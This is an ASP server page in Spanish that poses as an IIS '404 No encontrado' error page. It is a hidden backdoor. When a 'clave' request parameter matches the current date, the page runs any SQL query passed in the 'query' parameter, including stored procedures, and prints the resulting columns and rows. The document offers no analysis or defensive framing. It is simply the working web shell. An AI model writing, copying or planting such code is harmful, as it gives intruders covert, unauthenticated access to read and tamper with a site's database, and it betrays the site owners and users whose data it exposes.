<%response.expires=0%>
<%
query = request("query")
clave=request("clave")
fecha=trim(cstr(day(date()))&cstr(month(date()))&cstr(year(date())))
if trim(clave)<>trim(fecha) then%>
Error 404
Error 404 de HTTP
404 No encontrado
El servidor Web no puede encontrar el archivo o la secuencia de comandos que ha solicitado. Compruebe la dirección URL para asegurarse de que la ruta de acceso es correcta.
Póngase en contacto con el administrador del servidor si el problema persiste.
<%else%>
Command CPC
<%if trim(query) <> "" then%>
<%
set rs=GetRs(query,con)
if instr(1,lcase(query),"select") or instr(1,lcase(query),"sp_") then
Response.Write ""
Set objFields = Rs.Fields
if not rs.eof then
Response.Write ""
for i = 0 to rs.Fields.Count-1
Response.Write "| " & objFields.Item(i).Name & " | "
next
Response.Write "
"
end if
do while not rs.eof
Response.Write ""
for i = 0 to rs.Fields.Count-1
Response.Write "| " & rs(i) & " | "
next
Response.Write "
"
rs.movenext
loop
Response.Write "
"
end if%>
Proceso Terminado...FIN
<%end if%>
<%end if%>